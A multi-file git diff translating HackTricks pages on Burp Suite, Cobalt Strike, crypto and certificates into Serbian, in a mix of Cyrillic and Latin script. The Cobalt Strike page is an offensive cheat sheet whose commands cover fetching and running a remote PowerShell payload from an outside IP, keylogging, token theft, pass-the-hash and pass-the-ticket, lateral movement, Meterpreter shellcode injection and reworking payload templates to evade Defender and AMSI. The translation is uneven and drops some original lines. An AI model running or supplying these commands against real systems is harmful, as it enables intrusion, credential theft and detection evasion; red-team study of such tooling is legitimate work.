mogu postaviti maksimalnu naknadu kako bi se osigurali da ne preplaćuju, a višak se vraća. -## **Executing Transactions** +## **Izvršavanje transakcija** -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Transakcije na Ethereumu uključuju pošiljaoca i primaoca, koji mogu biti korisničke ili pametne ugovorne adrese. One zahtevaju naknadu i moraju biti rudarene. Bitne informacije u transakciji uključuju primaoca, potpis pošiljaoca, vrednost, opcioni podaci, limit gasa i naknade. Važno je napomenuti da se adresa pošiljaoca izvodi iz potpisa, čime se eliminiše potreba za njom u podacima transakcije. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. +Ove prakse i mehanizmi su osnovni za sve one koji žele da se bave kriptovalutama uz prioritetizaciju privatnosti i sigurnosti. -## References +## Reference * [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake) * [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) @@ -201,16 +193,14 @@ These practices and mechanisms are foundational for anyone looking to engage wit
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/burp-suite.md b/burp-suite.md index bc9169270..01ab5fa50 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -1,29 +1,27 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Basic Payloads +# Osnovni Payloadi -* **Simple List:** Just a list containing an entry in each line -* **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists. -* **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. -* **Numbers:** Generate numbers from X to Y using Z step or randomly. -* **Brute Forcer:** Character set, min & max length. +* **Jednostavna Lista:** Samo lista koja sadrži unos u svakom redu +* **Runtime Fajl:** Lista čitana u vreme izvršavanja (nije učitana u memoriju). Za podršku velikim listama. +* **Modifikacija Velikih Slova:** Primena promena na listu stringova (Bez promene, malim slovima, VELIKIM SLOVIMA, Prvo veliko slovo i ostalo malim slovima, Prvo veliko slovo i ostalo nepromenjeno). +* **Brojevi:** Generisanje brojeva od X do Y koristeći korak Z ili nasumično. +* **Brute Forcer:** Skup karaktera, minimalna i maksimalna dužina. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload za izvršavanje komandi i preuzimanje izlaza putem DNS zahteva ka burpcollab. {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} @@ -32,16 +30,14 @@ Other ways to support HackTricks:
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/c2/cobalt-strike.md b/c2/cobalt-strike.md index d0c3e70ae..0a142e3a8 100644 --- a/c2/cobalt-strike.md +++ b/c2/cobalt-strike.md @@ -1,217 +1,189 @@ # Cobalt Strike -### Listeners +### Слушаоци -### C2 Listeners +### C2 Слушаоци -`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more. +`Cobalt Strike -> Слушаоци -> Додај/Уреди` затим можете изабрати где слушати, коју врсту бикона користити (http, dns, smb...) и више. -### Peer2Peer Listeners +### Peer2Peer Слушаоци -The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons. +Бикони ових слушаоца не морају директно комуницирати са C2, могу комуницирати преко других бикона. -`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons +`Cobalt Strike -> Слушаоци -> Додај/Уреди` затим морате изабрати TCP или SMB биконе -* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect ` from another beacon -* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`. +* **TCP бикон ће поставити слушаоца на изабраном порту**. За повезивање са TCP биконом користите команду `connect ` са другог бикона +* **smb бикон ће слушати на пипе са изабраним именом**. За повезивање са SMB биконом морате користити команду `link [target] [pipe]`. -### Generate & Host payloads +### Генерише и хостује пакете -#### Generate payloads in files +#### Генерише пакете у датотекама -`Attacks -> Packages ->` +`Напади -> Пакети ->` -* **`HTMLApplication`** for HTA files -* **`MS Office Macro`** for an office document with a macro -* **`Windows Executable`** for a .exe, .dll orr service .exe -* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs) +* **`HTMLApplication`** за HTA датотеке +* **`MS Office Macro`** за офисни документ са макром +* **`Windows Executable`** за .exe, .dll или сервис .exe +* **`Windows Executable (S)`** за **stageless** .exe, .dll или сервис .exe (боље stageless него staged, мање IoC-ова) -#### Generate & Host payloads +#### Генерише и хостује пакете -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python +`Напади -> Веб Drive-by -> Скриптована Испорука преко Веба (S)` Ово ће генерисати скрипту/извршни документ за преузимање бикона са Cobalt Strike у форматима као што су: bitsadmin, exe, powershell и python -#### Host Payloads +#### Хостује пакете -If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config. +Ако већ имате датотеку коју желите да хостујете на веб серверу, само идите на `Напади -> Веб Drive-by -> Хостуј датотеку` и изаберите датотеку за хостовање и конфигурацију веб сервера. -### Beacon Options +### Опције бикона -
# Execute local .NET binary
+
# Изврши локални .NET бинарни фајл
 execute-assembly </path/to/executable.exe>
 
-# Screenshots
-printscreen    # Take a single screenshot via PrintScr method
-screenshot     # Take a single screenshot
-screenwatch    # Take periodic screenshots of desktop
-## Go to View -> Screenshots to see them
+# Снимци екрана
+printscreen    # Направи један снимак екрана помоћу PrintScr методе
+screenshot     # Направи један снимак екрана
+screenwatch    # Периодично прави снимке екрана
+## Идите на Приказ -> Снимци екрана да их видите
 
 # keylogger
 keylogger [pid] [x86|x64]
-## View > Keystrokes to see the keys pressed
+## Приказ > Притиснуте тастере да видите притиснуте тастере
 
 # portscan
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
+portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Убаци акцију скенирања порта у други процес
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Import Powershell module
+# Увези Powershell модул
 powershell-import C:\path\to\PowerView.ps1
-powershell <just write powershell cmd here>
+powershell <овде унесите powershell команду>
 
-# User impersonation
-## Token generation with creds
-make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token generated with make_token
-## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
+# Имитација корисника
+## Генеришење токена са креденцијалима
+make_token [DOMAIN\user] [password] #Креирај токен за имитирање корисника у мрежи
+ls \\computer_name\c$ # Покушај коришћења генерисаног токена за приступ C$ на рачунару
+rev2self # Престани користити токен генерисан са make_token
+## Коришћење make_token генерише догађај 4624: Налог је успешно пријављен. Овај догађај је веома чест у Windows домену, али се може сужавати филтрирањем по типу пријаве. Као што је поменуто, користи LOGON32_LOGON_NEW_CREDENTIALS који је тип 9.
 
 # UAC Bypass
-elevate svc-exe <listener>
-elevate uac-token-duplication <listener>
+elevate svc-exe <слушаоц>
+elevate uac-token-duplication <слушаоц>
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
-## Steal token from pid
-## Like make_token but stealing the token from a process
-steal_token [pid] # Also, this is useful for network actions, not local actions
-## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token from steal_token
+## Укради токен из pid-а
+## Као make_token, али краде токен из процеса
+steal_token [pid] # Такође, ово је корисно за мрежне акције, а не локалне акције
+## Из документације API-ја знамо да овај тип пријаве "омогућава позиваоцу да клонира свој тренутни токен". Зато Beacon исписује Impersonated <current_username> - имитира наш клонирани токен.
+ls \\computer_name\c$ # Покушај коришћења генерисаног токена за приступ C$ на рачунару
+rev2self # Престани користити токен из steal_token
 
-## Launch process with nwe credentials
-spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
-## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE).  It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
+## Покрени процес са новим креденцијалима
+spawnas [domain\username] [password] [listener] #Урадите то из директоријума са приступом за читање као: cd C:\
+## Као make_token, ово ће генерисати Windows догађај 4624: Налог је успешно пријављен, али са типом пријаве 2 (LOGON32_LOGON_INTERACTIVE). Детаљно ће бити наведен позиваоц (TargetUserName) и имитирани корисник (TargetOutboundUserName).
 
-## Inject into process
+## Убаци у процес
 inject [pid] [x64|x86] [listener]
-## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
+## Са аспекта ОпСек-а: Не врши убацивање између различитих платформи осим ако заиста морате (нпр. x86 -> x64 или x64 -> x86).
 
-## Pass the hash
-## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
+## Пренеси хеш
+## Овај процес измене захтева патчовање меморије LSASS што је акција високог ризика, захтева привилегије локалног администратора и није све то изводљиво ако је омогућено Заштићено Процесно Светло (PPL).
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pass the hash through mimikatz
+## Пренеси хеш преко mimikatz-a
 mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
-steal_token <pid> #Steal token from process created by mimikatz
+## Без /run, mimikatz покреће cmd.exe, ако користите као корисник са Радном површином, видеће шел (ако користите као СИСТЕМ, све је у реду)
+steal_token <pid> #Укради токен из процеса који је креирао mimikatz
 
-## Pass the ticket
-## Request a ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
-make_token <domain>\<username> DummyPass
-## Write the ticket in the attacker machine from a poweshell session & load it
-[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
-kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
-
-## Pass the ticket from SYSTEM
-## Generate a new process with the ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
-## Steal the token from that process
+## Пренеси тикет
+## Захтевај тикет
+execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain>
+### Kreiranje nove sesije za prijavljivanje, zabeležite luid i processid
+execute-assembly C:\putanja\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
+### Ubacite karticu u generisanu sesiju za prijavljivanje
+execute-assembly C:\putanja\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
+### Na kraju, ukradite token iz tog novog procesa
 steal_token <pid>
 
-## Extract ticket + Pass the ticket
-### List tickets
-execute-assembly C:\path\Rubeus.exe triage
-### Dump insteresting ticket by luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### Create new logon session, note luid and processid
-execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
-### Insert ticket in generate logon session
-execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### Finally, steal the token from that new process
-steal_token <pid>
+# Lateralno kretanje
+## Ako je token kreiran, biće korišćen
+jump [metoda] [cilj] [slušalac]
+## Metode:
+## psexec                    x86   Koristi uslugu za pokretanje artefakta Service EXE
+## psexec64                  x64   Koristi uslugu za pokretanje artefakta Service EXE
+## psexec_psh                x86   Koristi uslugu za pokretanje PowerShell jednolinije
+## winrm                     x86   Pokreće PowerShell skriptu putem WinRM-a
+## winrm64                   x64   Pokreće PowerShell skriptu putem WinRM-a
 
-# Lateral Movement
-## If a token was created it will be used
-jump [method] [target] [listener]
-## Methods:
-## psexec                    x86   Use a service to run a Service EXE artifact
-## psexec64                  x64   Use a service to run a Service EXE artifact
-## psexec_psh                x86   Use a service to run a PowerShell one-liner
-## winrm                     x86   Run a PowerShell script via WinRM
-## winrm64                   x64   Run a PowerShell script via WinRM
+remote-exec [metoda] [cilj] [komanda]
+## Metode:
+## psexec                          Daljinsko izvršavanje putem Service Control Manager-a
+## winrm                           Daljinsko izvršavanje putem WinRM-a (PowerShell)
+## wmi                             Daljinsko izvršavanje putem WMI-a
 
-remote-exec [method] [target] [command]
-## Methods:
-## psexec                          Remote execute via Service Control Manager
-## winrm                           Remote execute via WinRM (PowerShell)
-## wmi                             Remote execute via WMI
-
-## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
+## Da biste izvršili beacon sa wmi (nije u jump komandi), samo otpremite beacon i izvršite ga
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
 
-# Pass session to Metasploit - Through listener
-## On metaploit host
+# Prosledi sesiju Metasploitu - Putem slušaoca
+## Na Metasploit hostu
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
 msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
+## Na Cobalt: Slušaoci > Dodaj i postavi Payload na Foreign HTTP. Postavi Host na 10.10.5.120, Port na 8080 i klikni Sačuvaj.
 beacon> spawn metasploit
-## You can only spawn x86 Meterpreter sessions with the foreign listener.
+## Možete spawn-ovati samo x86 Meterpreter sesije sa foreign slušaocem.
 
-# Pass session to Metasploit - Through shellcode injection
-## On metasploit host
+# Prosledi sesiju Metasploitu - Putem ubrizgavanja shellcode-a
+## Na Metasploit hostu
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
-## Run msfvenom and prepare the multi/handler listener
+## Pokreni msfvenom i pripremi multi/handler slušaoca
 
-## Copy bin file to cobalt strike host
+## Kopiraj bin fajl na Cobalt Strike host
 ps
-shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
+shinject <pid> x64 C:\Payloads\msf.bin #Ubrizgaj metasploit shellcode u x64 proces
 
-# Pass metasploit session to cobalt strike
-## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
-## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
+# Prosledi metasploit sesiju Cobalt Strike-u
+## Generiši stageless Beacon shellcode, idi na Attacks > Packages > Windows Executable (S), izaberi željeni slušalac, izaberi Raw kao Output tip i izaberi Use x64 payload.
+## Koristi post/windows/manage/shellcode_inject u metasploit-u da ubrizgaš generisani cobalt strike shellcode
 
 
 # Pivoting
-## Open a socks proxy in the teamserver
+## Otvori socks proxy na teamserveru
 beacon> socks 1080
 
-# SSH connection
-beacon> ssh 10.10.17.12:22 username password
+# SSH konekcija +beacon> ssh 10.10.17.12:22 korisničko_ime lozinka
-## Avoiding AVs +## Izbegavanje AV-a ### Artifact Kit -Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. +Obično u `/opt/cobaltstrike/artifact-kit` možete pronaći kod i prekompilirane šablone (u `/src-common`) payloada koje će cobalt strike koristiti za generisanje binarnih beacona. -Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary. - -After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`. +Koristeći [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa generisanim backdoorom (ili samo sa kompiliranim šablonom) možete pronaći šta pokreće defender. Obično je to string. Stoga jednostavno izmenite kod koji generiše backdoor tako da taj string ne bude prisutan u finalnom binarnom fajlu. +Nakon izmene koda, pokrenite `./build.sh` iz istog direktorijuma i kopirajte `dist-pipe/` folder na Windows klijentu u `C:\Tools\cobaltstrike\ArtifactKit`. ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` - -Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. +Ne zaboravite da učitate agresivni skript `dist-pipe\artifact.cna` kako biste Cobalt Strike-u pokazali da koristi resurse sa diska koje želimo, a ne one koji su učitani. ### Resource Kit -The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. - -Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it: +Folder ResourceKit sadrži predloške za skriptne payload-e Cobalt Strike-a, uključujući PowerShell, VBA i HTA. +Korišćenjem [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa predlošcima možete pronaći šta se ne sviđa zaštitniku (u ovom slučaju AMSI) i izmeniti to: ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` +Modifikovanjem detektovanih linija može se generisati šablon koji neće biti uhvaćen. -Modifying the detected lines one can generate a template that won't be caught. - -Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. - - - - - - - +Ne zaboravite da učitate agresivni skriptu `ResourceKit\resources.cna` kako biste Cobalt Strike-u pokazali da koristite resurse sa diska koje želite, a ne one koji su učitani. ```bash cd C:\Tools\neo4j\bin neo4j.bat console @@ -233,3 +205,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + diff --git a/cryptography/certificates.md b/cryptography/certificates.md index ee0644afb..3a5995c3a 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -1,59 +1,58 @@ -# Certificates +# Sertifikati
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Danas dobijte pristup: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## What is a Certificate +## Šta je sertifikat -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji kako bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, moguća je sigurna komunikacija sa vlasnikom ključa. -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate_authority) (CA) u okviru [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web_of_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je opisano u RFC 5280. -## x509 Common Fields +## x509 Uobičajena polja -### **Common Fields in x509 Certificates** +### **Uobičajena polja u x509 sertifikatima** -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: +U x509 sertifikatima, nekoliko **polja** igraju ključnu ulogu u osiguravanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja: -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. +- **Broj verzije** označava verziju x509 formata. +- **Seriski broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacione Autoritete (CA), uglavnom za praćenje povlačenja. +- Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao 